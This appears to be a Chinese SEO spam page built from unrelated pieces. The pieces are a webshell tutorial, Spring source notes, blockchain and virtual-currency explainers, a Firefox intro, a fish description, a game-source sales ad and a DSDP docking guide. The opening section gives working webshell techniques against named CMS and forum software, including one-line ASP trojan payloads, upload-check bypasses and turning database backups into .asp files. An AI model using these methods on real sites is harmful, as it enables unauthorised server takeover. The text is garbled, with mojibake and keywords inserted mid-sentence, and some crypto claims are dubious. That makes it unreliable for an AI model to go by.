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【网站提交源码】【mybatis resultmap源码】【积突 源码】狐动源码_狐狸源码

时间:2024-12-29 16:57:08 来源:流量联盟源码

1.如何进入网站后台 获取webshell进入后台
2.区块链源代码如何查询,狐动狐狸币开源代码哪里查
3.火狐狸简介
4.游戏源码有什么出售平台?
5.分子对接程序DSDP的安装和使用

狐动源码_狐狸源码

如何进入网站后台 获取webshell进入后台

       ä¸€ã€ç›´æŽ¥ä¸Šä¼ èŽ·å¾—webshell

       è¿™ç§å¯¹php和jsp的一些程序比较常见,MolyX BOARD就是其中一例,直接在心情图标管理上传.php类型,虽然没有提示,其实已经成功了,上传的文 件url应该是hacker at dot net":eval request(chr ())//, 在配制文件中就是webmail="cnhacker at dot net\":eval request(chr())//",还有一种方法就是写上cnhacker at dot net"%><%eval request(chr())%><%',这样就会形成前后对应,最小马也就运行了。<%eval request(chr())%>可以用lake2的eval发送端以及最新的 客户端来连,需要说明的是数据库插马时候要选前者。再如动易,到文章中心管理-顶部菜单设置-菜单其它特效,插入一句话马"%><%execute request("l")%><%',保存顶部栏目菜单参数设置成功后,我们就得到马地址http://网站/admin/rootclass_menu_config.asp。

       äº”、利用后台数据库备份及恢复获得webshell

       ä¸»è¦æ˜¯åˆ©ç”¨åŽå°å¯¹access数据库的“备份数据库”或“恢复数据库”功能,“备份的数据库路径”等变量没有过滤导致可以把任意文件后缀改 为asp,从而得到webshell,msssql版的程序就直接应用了access版的代码,导致sql版照样可以利用。还可以备份网站asp文件为其他后缀 如.txt文件,从而可以查看并获得网页源代码,并获得更多的程序信息增加获得webshell的机会。在实际运用中经常会碰到没有上传功能的时 候,但是有asp系统在运行,利用此方法来查看源代码来获得其数据库的位置,为数据库插马来创造机会,动网论坛就有一个ip地址的数据库,在后台的ip管理中可以插入最小马然后备份成.asp文件即可。在谈谈突破上传检测的方法,很多asp程序在即使改了后缀名后也会提示文件非法,通过在.asp文件头加上gifa修改后缀为gif来骗过asp程序检测达到上传的目的,还有一种就是用记事本打开图片文件,随便粘贴一部分复制到asp木马文件头,修改gif后缀后上传也可以突破检测,然后备份为.asp文件,成功得到webshell。

       å…­ã€åˆ©ç”¨æ•°æ®åº“压缩功能

       å¯ä»¥å°†æ•°æ®çš„防下载失效从而使插入数据库的最小马成功运行,比较典型的就是loveyuki的L-BLOG,在友情添加的url出写上<%eval request (chr())%>, 提交后,在数据库操作中压缩数据库,可以成功压缩出.asp文件,用海洋的最小马的eval客户端连就得到一个webshell。

       ä¸ƒã€asp+mssql系统

       è¿™é‡Œéœ€è¦æä¸€ç‚¹åŠ¨ç½‘mssql版,但是可以直接本地提交来备份的。首先在发帖那上传一个写有asp代码的假图片,然后记住其上传路径。写一个本地提交的表单

区块链源代码如何查询,币开源代码哪里查

       如何查看spring源码

       1.准备工作:在官网上下载了Spring源代码之后,导入Eclipse,源码源码以方便查询。狐动狐狸

       2.打开我们使用Spring的源码源码项目工程,找到Web.xml这个网站系统配置文件,狐动狐狸在其中找到Spring的源码源码网站提交源码初始化信息:

       listener

       listener-classorg.springframework.web.context.ContextLoaderListener/listener-class

       /listener

       由配置信息可知,我们开始的狐动狐狸入口就这里ContextLoaderListener这个监听器。

       在源代码中我们找到了这个类,源码源码它的狐动狐狸定义是:

       publicclassContextLoaderListenerextendsContextLoader

       implementsServletContextListener{

       …

       /

**

       *Initializetherootwebapplicationcontext.

       */

       publicvoidcontextInitialized(ServletContextEventevent){

       this.contextLoader=createContextLoader();

       if(this.contextLoader==null){

       this.contextLoader=this;

       }

       this.contextLoader.initWebApplicationContext(event.getServletContext());

       }

       ...

       }

       该类继续了ContextLoader并实现了监听器,关于Spring的源码源码信息载入配置、初始化便是狐动狐狸从这里开始了,具体其他阅读另外写文章来深入了解。源码源码

       二、狐动狐狸关于IOC和AOP

       关于SpringIOC网上很多相关的源码源码文章可以阅读,那么我们从中了解到的狐动狐狸知识点是什么?

       1)IOC容器和AOP切面依赖注入是Spring是核心。

       IOC容器为开发者管理对象之间的依赖关系提供了便利和基础服务,其中Bean工厂(BeanFactory)和上下文(ApplicationContext)就是IOC的表现形式。BeanFactory是个接口类,只是对容器提供的最基本服务提供了定义,而DefaultListTableBeanFactory、XmlBeanFactory、ApplicationContext等都是具体的实现。

       接口:

       publicinterfaceBeanFactory{

       //这里是对工厂Bean的转义定义,因为如果使用bean的名字检索IOC容器得到的对象是工厂Bean生成的对象,

       //如果需要得到工厂Bean本身,需要使用转义的名字来向IOC容器检索

       StringFACTORY_BEAN_PREFIX="";

       //这里根据bean的名字,在IOC容器中得到bean实例,这个IOC容器就象一个大的抽象工厂,用户可以根据名字得到需要的bean

       //在Spring中,Bean和普通的JAVA对象不同在于:

       //Bean已经包含了我们在Bean定义信息中的依赖关系的处理,同时Bean是已经被放到IOC容器中进行管理了,有它自己的生命周期

       ObjectgetBean(Stringname)throwsBeansException;

       //这里根据bean的名字和Class类型来得到bean实例,和上面的方法不同在于它会抛出异常:如果根名字取得的bean实例的Class类型和需要的不同的话。

       ObjectgetBean(Stringname,ClassrequiredType)throwsBeansException;

       //这里提供对bean的检索,看看是否在IOC容器有这个名字的bean

       booleancontainsBean(Stringname);

       //这里根据bean名字得到bean实例,并同时判断这个bean是不是单件,在配置的时候,默认的Bean被配置成单件形式,如果不需要单件形式,需要用户在Bean定义信息中标注出来,这样IOC容器在每次接受到用户的getBean要求的时候,会生成一个新的Bean返回给客户使用-这就是Prototype形式

       booleanisSingleton(Stringname)throwsNoSuchBeanDefinitionException;

       //这里对得到bean实例的Class类型

       ClassgetType(Stringname)throwsNoSuchBeanDefinitionException;

       //这里得到bean的别名,如果根据别名检索,那么其原名也会被检索出来

       String[]getAliases(Stringname);

       }

       实现:

       XmlBeanFactory的实现是这样的:

       publicclassXmlBeanFactoryextendsDefaultListableBeanFactory{

       //这里为容器定义了一个默认使用的bean定义读取器,在Spring的使用中,Bean定义信息的读取是容器初始化的一部分,但是在实现上是和容器的注册以及依赖的注入是分开的,这样可以使用灵活的bean定义读取机制。

       privatefinalXmlBeanDefinitionReaderreader=newXmlBeanDefinitionReader(this);

       //这里需要一个Resource类型的Bean定义信息,实际上的定位过程是由Resource的构建过程来完成的。

       publicXmlBeanFactory(Resourceresource)throwsBeansException{

       this(resource,null);

       }

       //在初始化函数中使用读取器来对资源进行读取,得到bean定义信息。这里完成整个IOC容器对Bean定义信息的载入和注册过程

       publicXmlBeanFactory(Resourceresource,BeanFactoryparentBeanFactory)throws

       BeansException{

       super(parentBeanFactory);

       this.reader.loadBeanDefinitions(resource);

       }

区块链可以去哪查询

       区块链?你是指区块链技术还是区块链资讯,或者区块链行业相关的事情之类的呢?

       1)如果单是“区块链”,那直接百度就可以搜到“区块链百度百科”有很好的诠释。

       2)如果是“区块链技术”,同样,百度也有很好的诠释,各行各业也在新领域尝试与区块链技术相结合,未来说不定区块链技术会得到正确的使用,而不是被拿来忽悠人用。

       3)若是“区块链资讯”,那就可以去各类区块链媒体或财经媒体,每天几乎都有相关区块链行业资讯及快讯报道。如:巴比特、币优财经、区块网、金色、每日等等。

       4)若是“区块链音频”,那可以去喜马拉雅FM、mybatis resultmap源码荔枝微课、千聊等平台去听。像“币优之声”、“俞凌雄”、“王峰”以及其他一些财经类媒体区块链相关的音频也是不错的,各种干货及深度解析。

       所以,你说的区块链去哪查,以上4点都跟区块链相关,看自己的选择了。

       区块链交易id在哪查

       这里我们用以太坊区块链的钱包作为例子,小狐狸是加密钱包,以及进入区块链APP的出入口。进入之后获取钱包地址,再使用以太坊区块链的搜索器进入Etherscan官网首页后,就可以获取到以下区块链交易id信息:

       1.最新产生的区块

       2.最新发生的交易

       区块链的交易过程看似神秘繁琐,其实真正说起来却也不见得有那么难。

       第一步:所有者A利用他的私钥对前一次交易(比特货来源)和下一位所有者B签署一个数字签名,并将这个签名附加在这枚货币的末尾,制作出交易单。此时,B是以公钥作为接收方地址。

       第二步:A将交易单广播至全网,比特币就发送给了B,每个节点都将收到交易信息纳入一个区块中

       此时,对B而言,该枚比特币会即时显示在比特币钱包中,但直到区块确认成功后才可以使用。目前一笔比特币从支付到最终确认成功,得到6个区块确认之后才能真正的确认到账。

       第三步:每个节点通过解一道数学难题,从而去获得创建新区块的权利,并争取得到比特币的奖励(新比特币会在此过程中产生)

       此时节点反复尝试寻找一个数值,使得将该数值、区块链中最后一个区块的Hash值以及交易单三部分送入SHA算法后能计算出散列值X(位)满足一定条件(比如前位均为0),即找到数学难题的解。

       第四步:当一个节点找到解时,它就向全国广播该区块记录的所有盖时间戳交易,并由全网其他节点核对。

       此时时间戳用来证实特定区块必然于某特定时间是的确存在的。比特币网络采用从5个以上节点获取时间,然后取中间值的方式成为时间戳。

       第五步:全网其他节点核对该区块记账的正确性,没有错误后他们将在该合法区块之后竞争下一个区块,这样就形成了一个合法记账区块链。

开源代码是不是去中心化怎么查询

       很高兴为您解答这个问题

       今天给各位分享虚拟货币开源代码查询的知识,其中也会对进行解释,如果能碰巧解决你现在面临的问题,别忘了关注本站,如果有不同的见解与看法,请积极在评论区留言,现在开始进入正题!

       虚拟货币的开源代码到底怎么查找哪些是开

       查询比特币的源代码。

       网络虚拟货币大致可以分为

       第一类是大家熟悉的游戏币。在单机游戏时代,主角靠打倒敌人、进赌馆赢钱等方式积累货币,用这些购买草药和装备,但只能在自己的游戏机里使用。那时,玩家之间没有“市场”。自从互联网建立起门户和社区、实现游戏联网以来,虚拟货币便有了“金融市场”,玩家之间可以交易游戏币。

       第二类是门户网站或者即时通讯工具服务商发行的专用货币,用于购买本网站内的服务。使用最广泛的当属腾讯公司的Q币,可用来购买会员资格、积突 源码QQ秀等增值服务。

       现在每一个数字虚拟货币都有开源代码我们怎么分析呢

       五种区分方法:去中心化、恒量“发行”、开源代码、独立的电子钱包以及第三方交易平台。

       一、去中心化

       很多人对去中心化概念比较模糊,也有很多关于币的项目也在打着去中心化的旗号在推动者这个市场。

       1、技术去中心化:比特币,莱特币是整个数字货币的一个币种,区块链技术是2.0。美国5年的一个研究,它研究这一块是失败的,只达到1.0。

       2、不属于任何一个公司国家或者机构。比如人民币,美元等都是法币,是由国家发行和控制,是由中心的;还有腾讯公司的Q币也是有中心的,叫虚拟币,不叫虚拟货币,是腾讯公司发行的。

       二、价格为什么会涨的,恒量“发行”。

       其实真正意义上来说,是不应该用“发行”二字的,比特币万枚,莱特币是万枚,其发起人是把这个数字货币计算机计算好,用一套公式保存起来,用互联网程序规定它全球只能有多少枚,是挖掘出来的。

       听说挖地挖地,挖地的矿机,都是时间和数量限制好的,是任何个人或者机构都是更改不了的,并公开它的源代码,谁都可以挖。物以稀为贵,之所以挖矿,就如地球上的黄金一样越挖越少,所以叫挖矿,价格就会上涨。

       人民币一直在超发,就出现通货膨胀的现象,越来越不值钱。真正的数字货币是全球永不蒸发,恒量“发行”,具有真正的稀缺性的,通货紧缩的特质。

       三、开源代码,这是一个关键核心。

       目前所有的数字货币只有一个监管平台,开源代码成熟,一定要去全球唯一的数字货币监管平台审核,通过后挂在此平台上,公布它的开源代码。

       还有一种方式,就是你看各大交易平台是不是有莱特币和比特币的身影,凡是公开透明的都是自由买卖交易。

       四、独立的电子钱包。

       跨境支付的,是可以给某个区域的转账。

       五、orb源码下载第三方交易平台

       封闭式的交易平台和开放式的交易平台

       1、什么是封闭式交易平台呢?

       举例,比如凭票购物,凭票吃饭那个年代,你是化工厂的,你是粮局的,今天你拿着工厂的饭票去粮局吃饭是不可以的,是属于内部掌控的。

       2、开放式的交易平台,像OKCOIN,火币网,都是开放式的。任何一个平台购买的莱特币都是可以在这个平台上进行买卖交易的,公开,透明。

       总之,是不是真正数字货币,有五大标准:

       1、去中心化;2、开源代码;3、恒量发行;4、第三方交易平台;5、电子钱包。

       虚拟货币基本阶段

       没有把游戏币与股票、衍生金融工具、特别是电子货币加以界定和区分。实际上,有一条内在线索可以把这些形态各异的虚拟货币贯穿起来,这就是个性化价值的表现成熟度。我们从逻辑上概括如下:

       一、银行电子货币

       银行电子货币最初是一种“伪虚拟货币”。它只具有虚拟货币的形式,如数字化、符号化,但不具有虚拟货币的实质,与个性化无关。例如,它只是纸币的对应物;它可能由央行发行;它可能与货币市场处于同一市场等。

       但是银行电子货币有一点突破了货币的外延—那就是它也可以不是由央行发行,而是由信息服务商发行,早期的几种电子货币就是这样。第二点突破就是银行电子货币的流动性,远远超过一般货币。因此就隐含了对货币价格水平定价权的挑战。

       比如,在隔夜拆借之中,如果同一笔货币以电子货币方式被周转若干次,虽然从传统货币观点,一切都没有发生,但如果从虚拟货币流通速度的角度看,实际上已改变了货币价格水平的条件。

       二、信用信息货币

       股票是最典型的信用信息货币,其本质是虚拟的,是一种具有个人化特点的虚拟货币。它是当前虚拟经济最现实的基础。股票市场、衍生金融工具市场,构成了一个规模庞大而且统一的虚拟货币市场,它们不仅有实体业务作为基础,而且有广泛的信托业务、保险业务等信息服务作为支撑。

       所谓统一市场是有所特指的,是指这一市场作为一个整体,可以同货币市场在国民收入的整体水平上进行交换。从历史上看,只有当货币形成统一市场,即国民经济的unityfps射击源码主体都实现货币化时,货币量和利率对国民经济的调节作用才谈得上。这个道理对虚拟经济也一样。

       这个问题不无争议,如今虚拟经济的规模,虽然已经若干倍于实体经济,但实体经济中毕竟还有很大一部分没有进入这个统一市场。如果把游戏币与股票比较,它在这方面的进展还差得远。只有经过娱乐产业化和产业娱乐化两个阶段,才有可能达到统一市场的水平。

       分析股票市场和衍生金融工具市场,它有一个与一般货币市场最大的不同,就是它的流通速度不能由央行直接决定。例如,股指作为虚拟货币价格水平,不能象利率那样,由央行直接决定,而是由所谓人们的“信心”这种信息直接决定的。

       央行以及实体资本市场的基本面,只能间接决定股市,而不能直接决定。所以我认为股票市场是信息市场而不是货币市场。

       同成熟的虚拟货币市场比较,股市在主要特征上,表现是不完全的。股市把所有参照点上的噪音(即个别得失值),集成为一个统一的参照值,与标准值(基本面上的效用值、一般均衡值)进行合成,形成市场围绕效用价值的不断波动。

       虽然有别于以央行为中心进行有序化向心运动的货币市场,但与货币市场又没有区别。而从真正的虚拟货币市场的观点看,不可通约的个性化定价值,才是这一市场的特性所在。从这个意义上说,集中的股市并没有实现这一功用,股市作为所谓“赌场”的独立作用还没有得到发挥。

       三、个性化信用凭证

       虚拟货币的根本作用,是在个性的“现场”合成价值,而不是跑到一个脱离真实世界的均衡点上孤立地确定一个理性价值。虚拟货币的意义在于以最终消费者为中心建立价值体系。虚拟货币全面实现后,只有一般等价功能的单一货币将趋于后台化。

       游戏币是更高阶段虚拟货币的试验田,还难当大任。理想的虚拟货币是真实世界的价值符号。在一般等价交换中,具体使用价值以及具体使用价值的主体对应物—人的非同质化的需求、个性化需求,被完全过滤掉。

       虚拟货币将改变这一切,通过虚拟方式,将人的非同质化需求、个性化需求以个体参照点向基本面锚定的方式,进行价值合成。因此虚拟货币必须具有两面性,一方面是具有商品交换的功能,一方面是具有物物交换的功能。

       通过前者克服价值的相对性和主观性,通过后者实现个性化的价值确认。为了实现这个目标,虚拟货币肯定要实现一不为人知的巨大转型,这就是向对话体系的转型,成为交互式货币。

       这里的讨价还价是针对货币价格水平的讨价还价。回忆一下,人类在几十年内,早已实现的文本向对话的转型,正是虚拟货币转型的方向所在。游戏币的价值其实是不确定的。人们交换到游戏币,从中最终可能得到的快乐,是在币值以上、还是以下,不到参与游戏之时是不确定的。

       游戏就是一个对话过程。当然,游戏币的各种增值功能,还没有结合个性化信息服务开发出来。如果这种增值业务充分得到开发,游戏币因为提供服务的商家不同而不通用,可能反而成为一种相对于股票的优势。

       完全个性化的虚拟货币,可能是一种附加信息的货币卡,它的价值是待确认的。拥有具体待定功能和余值的虚拟货币,其信息一方面可以具有象文本一样有再阐释的余地,一方面具有卡拉OK式的再开发的潜力。

       它的信息价值是有开放接口的,可以再增值的。如果把它们投入股市一样的二级市场交换,它们可能凭其个性化信息在基本票面价值上下浮动,它本身就会具有更多的象股票那样的吸引力。

       游戏货币,还只具有价值流通功能,而不具有市场平台功能,所以它只是一种不完善的虚拟货币,究其原因,是因为缺乏相应的产业基础。

数字货币的开源代码是什么

       近年来,以比特币为代表的区块链数字资产风靡全球,国内外金融机构、科技公司、投资公司等参与方投入大量的人力、物力、技术等资源,进行区块链数字资产的研究、开发、设计、测试与推广。要实现区块链数字资产“四可三不可”的主要特性,可依托安全技术、交易技术、可信保障技术这三个方面的项技术构建数字资产的核心技术体系。首先,以安全技术保障区块链数字资产的可流通性、可存储性、可控匿名性、不可伪造性、不可重复交易性与不可抵赖性。数字货币安全技术主要包括基础安全技术、数据安全技术、交易安全技术三个层面。基础安全技术包括加解密技术与安全芯片技术。加解密技术主要应用于数字资产的币值生成、保密传输、身份验证等方面,建立完善的加解算法体系是数字资产体系的核心与基础,需要由国家密码管理机构定制与设计。安全芯片技术主要分为终端安全模块技术和智能卡芯片技术,数字资产可基于终端安全模块采用移动终端的形式实现交易,终端安全模块作为安全存储和加解密运算的载体,能够为数字资产提供有效的基础性安全保护。数字资产系统交易平台区块链技术研发数据安全技术包括数据安全传输技术与安全存储技术。数据安全传输技术通过密文+MAC/密文+HASH方式传输数字资产信息,以确保数据信息的保密性、安全性、不可篡改性;数据安全存储技术通过加密存储、访问控制、安全监测等方式储存数字货币信息,确保数据信息的完整性、保密性、可控性。

       交易安全技术包括匿名技术、身份认证技术、防重复交易技术与防伪技术。匿名技术通过盲签名(包括盲参数签名、弱盲签名、强盲签名等)、零知识证明等方式实现数字资产的可控匿名性;身份认证技术通过认证中心对用户身份进行验证,确保数字资产交易者身份的有效性;防重复交易技术通过数字签名、流水号、时间戳等方式确保数字资产不被重复使用;防伪技术通过加解密、数字签名、身份认证等方式确保数字资产真实性与交易真实性。其次,以交易技术实现数字资产的在线交易与离线交易功能。数字资产交易技术主要包括在线交易技术与离线交易技术两个方面。数字资产作为具有法定地位的货币,任何单位或个人不得拒收,要求数字资产在线或离线的情况下均可进行交易。在线交易技术通过在线设备交互技术、在线数据传输技术与在线交易处理等实现数字资产的在线交易业务;离线交易技术通过脱机设备交互技术、脱机数据传输技术与脱机交易处理等实现数字资产的离线交易业务。最后,以可信保障技术为区块链数字资产发行、流通、交易提供安全、可信的应用环境。数字资产可信保障技术主要指可信服务管理技术,基于可信服务管理平台(TSM)保障数字资产安全模块与应用数据的安全可信,为数字资产参与方提供安全芯片(SE)与应用生命周期管理功能。可信服务管理技术能够为数字资产提供应用注册、应用下载、安全认证、鉴别管理、安全评估、可信加载等各项服务,能够有效确保数字资产系统的安全可信。

       什么是区块链?区块链技术,简称BT(Blockchaintechnology),也被称之为分布式账本技术,是一种互联网数据库技术,其特点是去中心化、公开透明,让每个人均可参与数据库记录。区块链技术开发区块链技术开发什么是区块链系统?区块链系统是一个具备完整性的数据库系统,写入系统的数据会自动复制到区块链的节点上面,能实现事务性的数据保存,支持多种行业数据库的管理开发,结合多种需求来制作。.亿美元,涨幅为2.%。本周共有5个新项目进入TOP,分别为分别为FST,ZB,WIX,WAX,MXM。8月日,Bitcoin价格为.美元,较上周上涨3.%,Ethereum价格为.美元,较上周下跌3.%。本周h成交额较上周同期上升2.%;TOP项目中币类项目总市值、平均市值涨幅zui大,全球区块链资产TOP项目分类组成稳定。

火狐狸简介

       火狐浏览器,即Mozilla Firefox,是一款开源网页浏览器,基于Gecko引擎开发,由Mozilla基金会与众多志愿者共同维护与开发。其原名“Phoenix”,后改名为“MozillaFirebird”,最终定名为Firefox。最新正式版本为Firefox .0,于年1月8日发布。

       最新版火狐浏览器引入了多项改进和更新,旨在提升用户浏览体验。其中,IonMonkey是一个全新的JavaScript JIT编译器,能显著提升JavaScript执行效率,使得Web应用、游戏及重度JavaScript页面运行更加流畅。此外,Firefox支持Retina Display,为Mac用户提供了更出色的视觉体验。为维护用户隐私,Firefox还提供了禁用HTTPS安全网页中的不安全内容的选项。新版本还开始支持W3C触控事件,扩展了用户的交互体验。

       值得注意的是,最新版火狐浏览器引入了扩展同步机制,用户可以在不同设备间无缝同步扩展,只需在选项窗口的同步标签页中启用“同步我的扩展”功能即可实现。此外,新版本提供了新的开发工具,以更直观的形式展现网站结构,并简化了动态CSS代码编辑过程。3D页面检查器Tilt和新的样式编辑工具进一步提升了开发者的效率。

       为了方便用户使用,Firefox 引入了全新的开发者工具条,用户只需在工具栏中选择“开发者工具栏”即可快速访问。同时,对于CSS3特性,开发者无需再添加浏览器前缀,提高了开发效率。Firefox浏览器支持广泛的插件和扩展,且更新机制完善,确保了软件的安全性和稳定性。

       作为Mozilla基金会研发的产品,火狐浏览器完全开源,任何人都可获取源代码并进行修改,使其得以不断优化和扩展功能。安全性、稳定性、快速性以及高度的可定制性是火狐浏览器的主要优势,其功能涵盖浏览记录查看、文字大小调整、网页源代码查看等,同时附带Google工具条,支持在线翻译,为用户提供全面的浏览体验。

扩展资料

       火狐狸,原产于非洲坦干伊克湖。身体是靓颜的红色,尤其在背鳍更是有美丽的红色缀着。背鳍和臀鳍的基部发亮蓝色。喜欢吃食附着性的藻类,性情凶暴,混养时一定要提供足够的混养空间。 杂食性,卵生,适合岩石造景,多洞穴,可以和同类鱼混养(坦鲷科)。

游戏源码有什么出售平台?

       深圳网狐是一家提供棋牌游戏源码销售的中国公司。成立于年,专长于互联网棋牌游戏的研发、设计和运营。深圳网狐已推出多款知名游戏,具有一定的市场影响力。

       您可以从网狐购买单一的棋牌游戏源码,或者购买包含多种游戏的游戏大厅平台。我们的游戏涵盖各国本土的棋类、纸牌类游戏,如Rummy、Teen Patti、Truco、Ludo、Domino、Bingo、Keno等,以及各种类型的Slots游戏,如海盗系列、万圣节系列、复活节系列、足球系列、动物森林系列。

       网狐游戏源码采用最新技术,包括完整的游戏逻辑和优秀界面设计,具有跨平台和高度可定制化等优点。源码支持多种支付方式,拥有强大后台管理系统,便于数据统计和操作管理。

       网狐提供一系列服务,包括专业技术支持、自定义开发和定制化设计,以及高效的售后运维等。如果您需要购买高质量的棋牌游戏源码,可联系网狐-Foxuc Games,获取产品介绍和价格信息。期待与您的合作,实现双方共赢。

分子对接程序DSDP的安装和使用

       今年8月,我有幸参加了由北大高毅勤老师团队和华为联合举办的MindSpore SPONGE暑期学校。在这次活动中,我了解了DSDP分子对接程序,该程序的相关论文于今年6月发表在《J. Chem. Inf. Model. , , , –》期刊上。

       DSDP程序将传统分子对接算法与机器学习相结合,实现了GPU加速的高性能分子对接。与常用的AutoDock Vina、DiffDock等分子对接程序相比,DSDP在盲对接的速度与精度上均有显著提升。此外,该程序还可在已知结合位点的前提下进行重对接和虚拟筛选。项目源码已发布于github。

       在暑期学校期间,开发者张宏老师对DSDP程序进行了介绍。以下是我对DSDP程序安装和使用的初步总结,如有疏漏,请大家务必指出。

       安装方法:

       1. 下载DSDP源码。根据测试,在Ubuntu .(官方文档)和Rocky 9环境中均可使用。

       2. 将项目保存在固定目录,我保存在/run/media/Programs/DSDP。

       3. 使用Anaconda建立虚拟环境。

       注意:务必检查torch的版本,以与cuda环境匹配。如果需要,可直接在DSDP.yml文件中更改torch版本。我这里由于通过配置文件无法正常安装,直接参考官方文档安装了2.0.1+cu版本。

       4. 激活虚拟环境(后续每次使用盲对接都需要激活该环境)。

       5. 编译各组件。

       使用方法:盲对接

       项目示例文件的test_dataset包含三个数据集,分别是DSDP_dataset、DUD-E数据集和PDBBind时间分割数据集。

       对于要预测的每组复合物,需要建立一个独立的目录,其中存放配体和受体(需按规定命名)。例如,通过tree DSDP_dataset/ | head查看的示例目录结构如下:

       DSDP的输入文件为pdbqt格式,可以通过AutoDockTools生成。

       注:python 3版本的AutoDockTools,已经有几名Python之狐完成了部分升级,安装好之后直接用prepare_ligand4和prepare_receptor4两个命令就可以调用。

       在项目根目录运行如下命令:

       参数解释:

       重对接

       本例使用1a2b蛋白。在工作目录(不一定是项目目录)准备受体和配体的pdbqt文件,命名为protein.pdbqt和ligand.pdbqt。

       运行:

       注:重对接的盒子信息(沿x y z轴的最小值和最大值)需要用户提供。本例的盒子信息仅适用于本例的1a2b蛋白。

       参数解释:

       此外,年9月日更新的版本中,每个DSDP组件都支持--help命令来输出有关参数的信息。

       DSDP数据训练

       DSDP的结合位点预测部分根据PUResNet进行修改。文件train_example包含用于训练当前工作中使用的模型的脚本。应该注意的是,该文件中的训练数据集只是一个示例。整个训练数据集是EquiBind中使用的PDBBind的子集(EquiBind: Geometric Deep Learning for Drug Binding Structure Prediction)。可以从他们的网站下载此数据集:Zenodo。

       测试

       以PET酶IsPETase为例,下载晶体结构,去水加氢、另存为PET_protein.pdbqt,并与PET_ligand.pdbqt存放于PET目录下。通过上述命令进行盲对接,结果如图1所示。

       可以看到,结合位点的搜索十分准确,且将底物定位到了SHD三联体,这与催化机理完全一致。但酯键的方向理应指向蛋白主链形成的氧负离子穴区域,这里所得结构朝向另一侧,可见盲对接的精度略有不足。

       进一步在该位点的基础上进行重对接,如图2所示。(盒子中心为催化三联体,边长为 Å)

       可以看到,重对接所得的构象中,羰基已经处于正确的朝向,指向Y和M的主链酰胺。以上测试证实了DSDP盲对接和重对接的可行性。

       其他

       重对接可以在任意目录进行,但盲对接不经修改的话只能在项目根目录进行,其中用到的文件需要自行准备并在命令行指定。个人认为这样稍有不便,因此对源码做了修改,可像重对接一样在任意目录直接进行盲对接,如下。

       编译方法和重对接方法同上。盲对接方法如下,其中dataset在当前目录:

       注意每次使用盲对接前都需要激活DSDP虚拟环境。

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